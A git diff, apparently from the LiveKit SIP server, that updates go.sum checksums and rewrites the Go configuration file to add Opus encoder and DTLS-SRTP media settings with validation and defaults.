h1:jXsnJ4Lmnqd11kwkBV2LgLoFMZKizbCi5fNZ/ipaZ64= +go.opentelemetry.io/auto/sdk v1.2.1/go.mod h1:KRTj+aOaElaLi+wW1kO/DZRXwkF4C5xPbEe3ZiIhN7Y= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0 h1:8tvICD4vSTOOsNrsI4Ljf6C+6UKvpTEH5XY3JMoyPoo= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.69.0/go.mod h1:z9+yiacE0IHRqM4qFfkbt/JYlmYXgss8GY/jXoNuPJI= +go.opentelemetry.io/otel v1.44.0 h1:JjwHmHpA4iZ3wBxluu2fbbE7j4kqlE8jXyAyPXH7HqU= +go.opentelemetry.io/otel v1.44.0/go.mod h1:BMgjTHL9WPRlRjL2oZCBTL4whCGtXch2H4BhOPIAyYc= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0 h1:4YsVu3B8+3qtWYYrsUYgn0OG78pN0rnNPRGX4SbokQI= +go.opentelemetry.io/otel/exporters/otlp/otlptrace v1.44.0/go.mod h1:+wnlSn0mD1ADVMe3v9Z/WIaiz6q6gL2J/ejaAmdmv80= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0 h1:lgh3PiVrRUWMLOVSkQicxzZll5NjF1r+AtsX1XRIHw0= +go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp v1.44.0/go.mod h1:5Cnhth3m/AgOeTgE3ex12pPmiu/gGtZit03kSzx9X7s= +go.opentelemetry.io/otel/metric v1.44.0 h1:1w0gILTcHdr3YI+ixLyjemwrVnsMURbTZFrSYCdDdmc= +go.opentelemetry.io/otel/metric v1.44.0/go.mod h1:8O7hanEPBNgEMmybD3s2VBKcgWOCsA6tzHBPODAiquo= +go.opentelemetry.io/otel/sdk v1.44.0 h1:nHYwb9lK+fJPU/dnT6s7W7Z8itMWyqrnVfbheVYrZ58= +go.opentelemetry.io/otel/sdk v1.44.0/go.mod h1:Osuydd3Se74nqjAKxid74N5eC+jfEqfTegHRnq58oK0= +go.opentelemetry.io/otel/sdk/metric v1.44.0 h1:3LlKgI+VjbVsjNRFZJZAJ30WjXC5VkNRks6si09iEfI= +go.opentelemetry.io/otel/sdk/metric v1.44.0/go.mod h1:5B5pMARnXxKhltooO4xUuCBorl65a4EpnTalObqOigA= +go.opentelemetry.io/otel/trace v1.44.0 h1:jxF5CsGYCe74MCRx2X4g7WsY/VBKRqqpNvXlX/6gtIk= +go.opentelemetry.io/otel/trace v1.44.0/go.mod h1:oLl1jrMQAVo6v3GAggN+1VH9VIz9iUSvW53sW1Q8PIE= +go.opentelemetry.io/proto/otlp v1.10.0 h1:IQRWgT5srOCYfiWnpqUYz9CVmbO8bFmKcwYxpuCSL2g= +go.opentelemetry.io/proto/otlp v1.10.0/go.mod h1:/CV4QoCR/S9yaPj8utp3lvQPoqMtxXdzn7ozvvozVqk= +go.uber.org/atomic v1.11.0 h1:ZvwS0R+56ePWxUNi+Atn9dWONBPp/AUETXlHW0DxSjE= +go.uber.org/atomic v1.11.0/go.mod h1:LUxbIzbOniOlMKjJjyPfpl4v+PKK2cNJn91OQbhoJI0= +go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= +go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= +go.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0= +go.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y= +go.uber.org/zap v1.28.0 h1:IZzaP1Fv73/T/pBMLk4VutPl36uNC+OSUh3JLG3FIjo= +go.uber.org/zap v1.28.0/go.mod h1:rDLpOi171uODNm/mxFcuYWxDsqWSAVkFdX4XojSKg/Q= +go.uber.org/zap/exp v0.3.0 h1:6JYzdifzYkGmTdRR59oYH+Ng7k49H9qVpWwNSsGJj3U= +go.uber.org/zap/exp v0.3.0/go.mod h1:5I384qq7XGxYyByIhHm6jg5CHkGY0nsTfbDLgDDlgJQ= +go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= +go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ= +go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= +go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= +golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw= +golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk= +golang.org/x/exp v0.0.0-20260603202125-055de637280b h1:v1uXiEBHo8QA0LiGCo7UgHMzHT4Kdfpl2zmtH5vaP1Q= +golang.org/x/exp v0.0.0-20260603202125-055de637280b/go.mod h1:d2fgXJLVs4dYDHUk5lwMIfzRzSrWCfGZb0ZqeLa/Vcw= +golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= +golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= +golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= +golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +golang.org/x/text v0.40.0 h1:Ub2Z6/xjgF1WrYQz2nuITOEegKFtiIy+rieRJ5lHZKs= +golang.org/x/text v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= +golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= +golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= +gonum.org/v1/gonum v0.17.0 h1:VbpOemQlsSMrYmn7T2OUvQ4dqxQXU+ouZFQsZOx50z4= +gonum.org/v1/gonum v0.17.0/go.mod h1:El3tOrEuMpv2UdMrbNlKEh9vd86bmQ6vqIcDwxEOc1E= +google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa h1:Kjn0N0tCrDgiAFW+lGO4JZ3ck44CehvJQMAwj9QF0G8= +google.golang.org/genproto/googleapis/api v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:q4lMZS6kskjT5HvCPrnnypcDPVJqT/f4nfxmkE7gryY= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa h1:mZHHdPZl0dbGHCflZgAq/Q468DWVFcU2whhB2KAo8fk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260526163538-3dc84a4a5aaa/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/grpc v1.83.1 h1:HIO0+BEtBP6soyqvqC8sNUjZ7bTs+0hFQuFF+RAy++Y= +google.golang.org/grpc v1.83.1/go.mod h1:kDyl6SKsiHKt0uylY5gtn5cEjkrIOhQOGDgIc4JGwzQ= +google.golang.org/protobuf v1.36.12 h1:pJOKDDOyeXErUroCihFAd5LQuwXBSpVnKGrj5o/fwxc= +google.golang.org/protobuf v1.36.12/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302 h1:xeVptzkP8BuJhoIjNizd2bRHfq9KB9HfOLZu90T04XM= +gopkg.in/hraban/opus.v2 v2.0.0-20230925203106-0188a62cb302/go.mod h1:/L5E7a21VWl8DeuCPKxQBdVG5cy+L0MRZ08B1wnqt7g= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gotest.tools/v3 v3.5.2 h1:7koQfIKdy+I8UTetycgUqXWSDwpgv193Ka+qRsmBY8Q= +gotest.tools/v3 v3.5.2/go.mod h1:LtdLGcnqToBH83WByAAi/wiwSFCArdFIUV/xxN4pcjA= +pgregory.net/rapid v1.2.0 h1:keKAYRcjm+e1F0oAuU5F5+YPAWcyxNNRK2wud503Gnk= +pgregory.net/rapid v1.2.0/go.mod h1:PY5XlDGj0+V1FCq0o192FdRhpKHGTRIWBgqjDBTrq04= diff --git a/pkg/config/config.go b/pkg/config/config.go index 50f9cdc74..50cf694c2 100644 --- a/pkg/config/config.go +++ b/pkg/config/config.go @@ -1,305 +1,331 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package config - -import ( - "fmt" - "net" - "net/netip" - "os" - "time" - - "github.com/sirupsen/logrus" - "gopkg.in/yaml.v3" - - "github.com/livekit/mediatransportutil/pkg/rtcconfig" - "github.com/livekit/protocol/logger" - "github.com/livekit/protocol/logger/medialogutils" - "github.com/livekit/protocol/redis" - "github.com/livekit/protocol/rpc" - "github.com/livekit/protocol/utils/guid" - "github.com/livekit/psrpc" - lksdk "github.com/livekit/server-sdk-go/v2" - - "github.com/livekit/sip/pkg/errors" -) - -const ( - DefaultSIPPort int = 5060 - DefaultSIPPortTLS int = 5061 -) - -var ( - DefaultRTPPortRange = rtcconfig.PortRange{Start: 10000, End: 20000} -) - -const ( - // After a call closes we keep its RTP port bound and draining so a freshly - // allocated call can't inherit a port a peer is still sending stale media to. - DefaultRTPDrainingIdleTimeout = 30 * time.Second // release once no packets arrive for this long - DefaultRTPDrainingDuration = 10 * time.Minute // hard cap on how long a port stays draining -) - -type TLSCert struct { - CertFile string `yaml:"cert_file"` - KeyFile string `yaml:"key_file"` -} - -type TLSConfig struct { - Port int `yaml:"port"` // announced SIP signaling port - ListenPort int `yaml:"port_listen"` // SIP signaling port to listen on - Certs []TLSCert `yaml:"certs"` - KeyLog string `yaml:"key_log"` - - MinVersion string `yaml:"min_version"` // min TLS version, accepts: "tls1.0", "tls1.1", "tls1.2", "tls1.3" - MaxVersion string `yaml:"max_version"` // max TLS version, accepts: "tls1.0", "tls1.1", "tls1.2", "tls1.3" - - // CipherSuites is an optional list of cipher suite names. - // If not provided, Go's secure defaults are used. - // Note: Only applies to TLS 1.0-1.2; TLS 1.3 cipher suites are not configurable. - CipherSuites []string `yaml:"cipher_suites"` - - // ALPNProtocols is an optional list of ALPN protocol names for TLS negotiation. - // If not provided, defaults to ["sip"]. Set to an empty list to disable ALPN. - // Some providers (e.g. Meta) reject the "sip" ALPN and require it to be disabled. - ALPNProtocols []string `yaml:"alpn"` -} - -type TCPConfig struct { - DialPort rtcconfig.PortRange `yaml:"dial_port"` -} - -type Config struct { - Redis *redis.RedisConfig `yaml:"redis"` // required - ApiKey string `yaml:"api_key"` // required (env LIVEKIT_API_KEY) - ApiSecret string `yaml:"api_secret"` // required (env LIVEKIT_API_SECRET) - WsUrl string `yaml:"ws_url"` // required (env LIVEKIT_WS_URL) - - PSRPC rpc.PSRPCConfig `yaml:"psrpc,omitempty"` - - HealthPort int `yaml:"health_port"` - PrometheusPort int `yaml:"prometheus_port"` - PProfPort int `yaml:"pprof_port"` - SIPPort int `yaml:"sip_port"` // announced SIP signaling port - SIPPortListen int `yaml:"sip_port_listen"` // SIP signaling port to listen on - SIPHostname string `yaml:"sip_hostname"` - OutboundRouteHeaders []string `yaml:"outbound_route_headers"` // Route headers prepended to outbound requests, e.g. "" - SIPRingingInterval time.Duration `yaml:"sip_ringing_interval"` // from 1 sec up to 60 (default '1s') - TCP *TCPConfig `yaml:"tcp"` - TLS *TLSConfig `yaml:"tls"` - RTPPort rtcconfig.PortRange `yaml:"rtp_port"` - Logging logger.Config `yaml:"logging"` - ClusterID string `yaml:"cluster_id"` // cluster this instance belongs to - MaxCpuUtilization float64 `yaml:"max_cpu_utilization"` - MaxActiveCalls int `yaml:"max_active_calls"` // if set, used for affinity-based routing - SIPTrunkIds []string `yaml:"sip_trunk_ids"` // if set, only accept calls for these trunk IDs - - UseExternalIP bool `yaml:"use_external_ip"` - LocalNet string `yaml:"local_net"` // local IP net to use, e.g. 192.168.0.0/24 - NAT1To1IP string `yaml:"nat_1_to_1_ip"` - ListenIP string `yaml:"listen_ip"` - - UDPMaxPayload int `yaml:"udp_max_payload"` - // if different from signaling IP - MediaUseExternalIP bool `yaml:"media_use_external_ip"` - MediaNAT1To1IP string `yaml:"media_nat_1_to_1_ip"` - - MediaTimeout time.Duration `yaml:"media_timeout"` - MediaTimeoutInitial time.Duration `yaml:"media_timeout_initial"` - SymmetricRTP bool `yaml:"symmetric_rtp"` - // RTPDrainingIdleTimeout / RTPDrainingDuration control how long a closed call's RTP - // port is kept bound and draining before it can be reallocated. Set to a negative - // value to disable. Zero uses the defaults. - RTPDrainingIdleTimeout time.Duration `yaml:"rtp_draining_idle_timeout"` - RTPDrainingDuration time.Duration `yaml:"rtp_draining_duration"` - IgnoreLocalAddrInSDP bool `yaml:"ignore_local_addr_in_sdp"` // enable symmetric RTP if local IP is specified in SDP - Codecs map[string]bool `yaml:"codecs"` - - // HideInboundPort controls how SIP endpoint responds to unverified inbound requests. - // Setting it to true makes SIP server silently drop INVITE requests if it gets a negative Auth or Dispatch response. - // Doing so hides our SIP endpoint from (a low effort) port scanners. - HideInboundPort bool `yaml:"hide_inbound_port"` - // DisableRejectedInviteCache turns off the per-server cache that replays - // a final INVITE rejection (keyed by Call-ID + From-tag) for retries - // reusing the same identifiers. - DisableRejectedInviteCache bool `yaml:"disable_rejected_invite_cache"` - // AddRecordRoute forces SIP to add Record-Route headers to the responses. - AddRecordRoute bool `yaml:"add_record_route"` - - // AudioDTMF forces SIP to generate audio DTMF tones in addition to digital. - AudioDTMF bool `yaml:"audio_dtmf"` - EnableJitterBuffer bool `yaml:"enable_jitter_buffer"` - EnableJitterBufferProb float64 `yaml:"enable_jitter_buffer_prob"` - - // internal - ServiceName string `yaml:"-"` - NodeID string // Do not provide, will be overwritten - JaegerURL string `yaml:"jaeger_url"` // for tracing - - // Experimental, these option might go away without notice. - Experimental struct { - // InboundWaitACK forces SIP to wait for an ACK to 200 OK before proceeding with the call. - InboundWaitACK bool `yaml:"inbound_wait_ack"` - } `yaml:"experimental"` -} - -func NewConfig(confString string) (*Config, error) { - conf := &Config{ - ApiKey: os.Getenv("LIVEKIT_API_KEY"), - ApiSecret: os.Getenv("LIVEKIT_API_SECRET"), - WsUrl: os.Getenv("LIVEKIT_WS_URL"), - ServiceName: "sip", - PSRPC: rpc.DefaultPSRPCConfig, - } - if confString != "" { - if err := yaml.Unmarshal([]byte(confString), conf); err != nil { - return nil, errors.ErrCouldNotParseConfig(err) - } - } - - if conf.Redis == nil { - return nil, psrpc.NewErrorf(psrpc.InvalidArgument, "redis configuration is required") - } - - return conf, nil -} - -func (c *Config) Init() error { - c.NodeID = guid.New("NE_") - - if c.SIPPort == 0 { - c.SIPPort = DefaultSIPPort - } - if c.SIPPortListen == 0 { - c.SIPPortListen = c.SIPPort - } - if tc := c.TLS; tc != nil { - if tc.Port == 0 { - tc.Port = DefaultSIPPortTLS - } - if tc.ListenPort == 0 { - tc.ListenPort = tc.Port - } - } - if c.RTPPort.Start == 0 { - c.RTPPort.Start = DefaultRTPPortRange.Start - } - if c.RTPPort.End == 0 { - c.RTPPort.End = DefaultRTPPortRange.End - } - if c.RTPDrainingIdleTimeout == 0 { - c.RTPDrainingIdleTimeout = DefaultRTPDrainingIdleTimeout - } else if c.RTPDrainingIdleTimeout < 0 { - c.RTPDrainingIdleTimeout = 0 // disabled - } - if c.RTPDrainingDuration == 0 { - c.RTPDrainingDuration = DefaultRTPDrainingDuration - } else if c.RTPDrainingDuration < 0 { - c.RTPDrainingDuration = 0 // disabled - } - if c.MaxCpuUtilization <= 0 || c.MaxCpuUtilization > 1 { - c.MaxCpuUtilization = 0.9 - } - - if err := c.InitLogger(); err != nil { - return err - } - - if c.UseExternalIP && c.NAT1To1IP != "" { - return fmt.Errorf("use_external_ip and nat_1_to_1_ip can not both be set") - } - - if c.MediaUseExternalIP && c.MediaNAT1To1IP != "" { - return fmt.Errorf("media_use_external_ip and media_nat_1_to_1_ip can not both be set") - } - - return nil -} - -func (c *Config) InitLogger(values ...interface{}) error { - zl, err := logger.NewZapLogger(&c.Logging) - if err != nil { - return err - } - - values = append(c.GetLoggerValues(), values...) - l := zl.WithValues(values...) - logger.SetLogger(l, c.ServiceName) - lksdk.SetLogger(medialogutils.NewOverrideLogger(nil)) - - return nil -} - -// GetLoggerValues is used with zap logger -func (c *Config) GetLoggerValues() []interface{} { - if c.NodeID == "" { - return nil - } - return []interface{}{"nodeID", c.NodeID} -} - -// GetLoggerFields is used with logrus -func (c *Config) GetLoggerFields() logrus.Fields { - fields := logrus.Fields{ - "logger": c.ServiceName, - } - v := c.GetLoggerValues() - for i := 0; i < len(v); i += 2 { - fields[v[i].(string)] = v[i+1] - } - - return fields -} - -func GetLocalIP() (netip.Addr, error) { - ifaces, err := net.Interfaces() - if err != nil { - return netip.Addr{}, nil - } - type Iface struct { - Name string - Addr netip.Addr - } - var candidates []Iface - for _, ifc := range ifaces { - if ifc.Flags&net.FlagUp == 0 || ifc.Flags&net.FlagRunning == 0 { - continue - } - if ifc.Flags&(net.FlagPointToPoint|net.FlagLoopback) != 0 { - continue - } - addrs, err := ifc.Addrs() - if err != nil { - continue - } - for _, addr := range addrs { - ipnet, ok := addr.(*net.IPNet) - if !ok { - continue - } - if ip4 := ipnet.IP.To4(); ip4 != nil { - ip, _ := netip.AddrFromSlice(ip4) - candidates = append(candidates, Iface{ - Name: ifc.Name, Addr: ip, - }) - logger.Debugw("considering interface", "iface", ifc.Name, "ip", ip) - } - } - } - if len(candidates) == 0 { - return netip.Addr{}, fmt.Errorf("no local IP found") - } - return candidates[0].Addr, nil -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package config + +import ( + "fmt" + "net" + "net/netip" + "os" + "time" + + "github.com/sirupsen/logrus" + "gopkg.in/yaml.v3" + + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/logger/medialogutils" + "github.com/livekit/protocol/redis" + "github.com/livekit/protocol/rpc" + "github.com/livekit/protocol/utils/guid" + "github.com/livekit/psrpc" + lksdk "github.com/livekit/server-sdk-go/v2" + + "github.com/livekit/sip/pkg/errors" +) + +const ( + DefaultSIPPort int = 5060 + DefaultSIPPortTLS int = 5061 +) + +var ( + DefaultRTPPortRange = rtcconfig.PortRange{Start: 10000, End: 20000} +) + +// OpusConfig reserves encoder tuning fields for a media-sdk version that can +// expose them. Non-zero values are rejected rather than silently ignored. +type OpusConfig struct { + Bitrate int `yaml:"bitrate"` // target bitrate in bits/sec (e.g. 24000); 0 = auto + Complexity int `yaml:"complexity"` // encoder complexity 1-10; 0 = default + FEC bool `yaml:"fec"` // enable in-band Forward Error Correction + PacketLossPercent int `yaml:"packet_loss_percent"` // expected packet loss 0-100, tunes FEC +} + +// DTLSSRTPConfig enables WebRTC-style DTLS-SRTP media for SIP peers such as +// Meta Business Calling. It is deliberately independent of SIP signaling TLS +// and of the legacy SDES media-encryption setting. +type DTLSSRTPConfig struct { + Enabled bool `yaml:"enabled"` + HandshakeTimeout time.Duration `yaml:"handshake_timeout"` +} + +const ( + // After a call closes we keep its RTP port bound and draining so a freshly + // allocated call can't inherit a port a peer is still sending stale media to. + DefaultRTPDrainingIdleTimeout = 30 * time.Second // release once no packets arrive for this long + DefaultRTPDrainingDuration = 10 * time.Minute // hard cap on how long a port stays draining +) + +type TLSCert struct { + CertFile string `yaml:"cert_file"` + KeyFile string `yaml:"key_file"` +} + +type TLSConfig struct { + Port int `yaml:"port"` // announced SIP signaling port + ListenPort int `yaml:"port_listen"` // SIP signaling port to listen on + Certs []TLSCert `yaml:"certs"` + KeyLog string `yaml:"key_log"` + + MinVersion string `yaml:"min_version"` // min TLS version, accepts: "tls1.0", "tls1.1", "tls1.2", "tls1.3" + MaxVersion string `yaml:"max_version"` // max TLS version, accepts: "tls1.0", "tls1.1", "tls1.2", "tls1.3" + + // CipherSuites is an optional list of cipher suite names. + // If not provided, Go's secure defaults are used. + // Note: Only applies to TLS 1.0-1.2; TLS 1.3 cipher suites are not configurable. + CipherSuites []string `yaml:"cipher_suites"` + + // ALPNProtocols is an optional list of ALPN protocol names for TLS negotiation. + // If not provided, defaults to ["sip"]. Set to an empty list to disable ALPN. + // Some providers (e.g. Meta) reject the "sip" ALPN and require it to be disabled. + ALPNProtocols []string `yaml:"alpn"` +} + +type TCPConfig struct { + DialPort rtcconfig.PortRange `yaml:"dial_port"` +} + +type Config struct { + Redis *redis.RedisConfig `yaml:"redis"` // required + ApiKey string `yaml:"api_key"` // required (env LIVEKIT_API_KEY) + ApiSecret string `yaml:"api_secret"` // required (env LIVEKIT_API_SECRET) + WsUrl string `yaml:"ws_url"` // required (env LIVEKIT_WS_URL) + + PSRPC rpc.PSRPCConfig `yaml:"psrpc,omitempty"` + + HealthPort int `yaml:"health_port"` + PrometheusPort int `yaml:"prometheus_port"` + PProfPort int `yaml:"pprof_port"` + SIPPort int `yaml:"sip_port"` // announced SIP signaling port + SIPPortListen int `yaml:"sip_port_listen"` // SIP signaling port to listen on + SIPHostname string `yaml:"sip_hostname"` + OutboundRouteHeaders []string `yaml:"outbound_route_headers"` // Route headers prepended to outbound requests, e.g. "" + SIPRingingInterval time.Duration `yaml:"sip_ringing_interval"` // from 1 sec up to 60 (default '1s') + TCP *TCPConfig `yaml:"tcp"` + TLS *TLSConfig `yaml:"tls"` + RTPPort rtcconfig.PortRange `yaml:"rtp_port"` + Logging logger.Config `yaml:"logging"` + ClusterID string `yaml:"cluster_id"` // cluster this instance belongs to + MaxCpuUtilization float64 `yaml:"max_cpu_utilization"` + MaxActiveCalls int `yaml:"max_active_calls"` // if set, used for affinity-based routing + SIPTrunkIds []string `yaml:"sip_trunk_ids"` // if set, only accept calls for these trunk IDs + + UseExternalIP bool `yaml:"use_external_ip"` + LocalNet string `yaml:"local_net"` // local IP net to use, e.g. 192.168.0.0/24 + NAT1To1IP string `yaml:"nat_1_to_1_ip"` + ListenIP string `yaml:"listen_ip"` + + UDPMaxPayload int `yaml:"udp_max_payload"` + // if different from signaling IP + MediaUseExternalIP bool `yaml:"media_use_external_ip"` + MediaNAT1To1IP string `yaml:"media_nat_1_to_1_ip"` + + MediaTimeout time.Duration `yaml:"media_timeout"` + MediaTimeoutInitial time.Duration `yaml:"media_timeout_initial"` + SymmetricRTP bool `yaml:"symmetric_rtp"` + // RTPDrainingIdleTimeout / RTPDrainingDuration control how long a closed call's RTP + // port is kept bound and draining before it can be reallocated. Set to a negative + // value to disable. Zero uses the defaults. + RTPDrainingIdleTimeout time.Duration `yaml:"rtp_draining_idle_timeout"` + RTPDrainingDuration time.Duration `yaml:"rtp_draining_duration"` + IgnoreLocalAddrInSDP bool `yaml:"ignore_local_addr_in_sdp"` // enable symmetric RTP if local IP is specified in SDP + Codecs map[string]bool `yaml:"codecs"` + EnableOpus bool `yaml:"enable_opus"` + Opus OpusConfig `yaml:"opus"` + DTLSSRTP DTLSSRTPConfig `yaml:"dtls_srtp"` + + // HideInboundPort controls how SIP endpoint responds to unverified inbound requests. + // Setting it to true makes SIP server silently drop INVITE requests if it gets a negative Auth or Dispatch response. + // Doing so hides our SIP endpoint from (a low effort) port scanners. + HideInboundPort bool `yaml:"hide_inbound_port"` + // DisableRejectedInviteCache turns off the per-server cache that replays + // a final INVITE rejection (keyed by Call-ID + From-tag) for retries + // reusing the same identifiers. + DisableRejectedInviteCache bool `yaml:"disable_rejected_invite_cache"` + // AddRecordRoute forces SIP to add Record-Route headers to the responses. + AddRecordRoute bool `yaml:"add_record_route"` + + // AudioDTMF forces SIP to generate audio DTMF tones in addition to digital. + AudioDTMF bool `yaml:"audio_dtmf"` + EnableJitterBuffer bool `yaml:"enable_jitter_buffer"` + EnableJitterBufferProb float64 `yaml:"enable_jitter_buffer_prob"` + + // internal + ServiceName string `yaml:"-"` + NodeID string // Do not provide, will be overwritten + JaegerURL string `yaml:"jaeger_url"` // for tracing + + // Experimental, these option might go away without notice. + Experimental struct { + // InboundWaitACK forces SIP to wait for an ACK to 200 OK before proceeding with the call. + InboundWaitACK bool `yaml:"inbound_wait_ack"` + } `yaml:"experimental"` +} + +func NewConfig(confString string) (*Config, error) { + conf := &Config{ + ApiKey: os.Getenv("LIVEKIT_API_KEY"), + ApiSecret: os.Getenv("LIVEKIT_API_SECRET"), + WsUrl: os.Getenv("LIVEKIT_WS_URL"), + ServiceName: "sip", + PSRPC: rpc.DefaultPSRPCConfig, + } + if confString != "" { + if err := yaml.Unmarshal([]byte(confString), conf); err != nil { + return nil, errors.ErrCouldNotParseConfig(err) + } + } + + if conf.Redis == nil { + return nil, psrpc.NewErrorf(psrpc.InvalidArgument, "redis configuration is required") + } + + return conf, nil +} + +func (c *Config) Init() error { + c.NodeID = guid.New("NE_") + + if c.SIPPort == 0 { + c.SIPPort = DefaultSIPPort + } + if c.SIPPortListen == 0 { + c.SIPPortListen = c.SIPPort + } + if tc := c.TLS; tc != nil { + if tc.Port == 0 { + tc.Port = DefaultSIPPortTLS + } + if tc.ListenPort == 0 { + tc.ListenPort = tc.Port + } + } + if c.RTPPort.Start == 0 { + c.RTPPort.Start = DefaultRTPPortRange.Start + } + if c.RTPPort.End == 0 { + c.RTPPort.End = DefaultRTPPortRange.End + } + if c.RTPDrainingIdleTimeout == 0 { + c.RTPDrainingIdleTimeout = DefaultRTPDrainingIdleTimeout + } else if c.RTPDrainingIdleTimeout < 0 { + c.RTPDrainingIdleTimeout = 0 // disabled + } + if c.RTPDrainingDuration == 0 { + c.RTPDrainingDuration = DefaultRTPDrainingDuration + } else if c.RTPDrainingDuration < 0 { + c.RTPDrainingDuration = 0 // disabled + } + if c.MaxCpuUtilization <= 0 || c.MaxCpuUtilization > 1 { + c.MaxCpuUtilization = 0.9 + } + if c.DTLSSRTP.HandshakeTimeout <= 0 { + c.DTLSSRTP.HandshakeTimeout = 10 * time.Second + } + if c.Opus.Bitrate != 0 || c.Opus.Complexity != 0 || c.Opus.FEC || c.Opus.PacketLossPercent != 0 { + return fmt.Errorf("opus bitrate, complexity, fec, and packet_loss_percent are not supported by the current media-sdk") + } + + if err := c.InitLogger(); err != nil { + return err + } + + if c.UseExternalIP && c.NAT1To1IP != "" { + return fmt.Errorf("use_external_ip and nat_1_to_1_ip can not both be set") + } + + if c.MediaUseExternalIP && c.MediaNAT1To1IP != "" { + return fmt.Errorf("media_use_external_ip and media_nat_1_to_1_ip can not both be set") + } + + return nil +} + +func (c *Config) InitLogger(values ...interface{}) error { + zl, err := logger.NewZapLogger(&c.Logging) + if err != nil { + return err + } + + values = append(c.GetLoggerValues(), values...) + l := zl.WithValues(values...) + logger.SetLogger(l, c.ServiceName) + lksdk.SetLogger(medialogutils.NewOverrideLogger(nil)) + + return nil +} + +// GetLoggerValues is used with zap logger +func (c *Config) GetLoggerValues() []interface{} { + if c.NodeID == "" { + return nil + } + return []interface{}{"nodeID", c.NodeID} +} + +// GetLoggerFields is used with logrus +func (c *Config) GetLoggerFields() logrus.Fields { + fields := logrus.Fields{ + "logger": c.ServiceName, + } + v := c.GetLoggerValues() + for i := 0; i < len(v); i += 2 { + fields[v[i].(string)] = v[i+1] + } + + return fields +} + 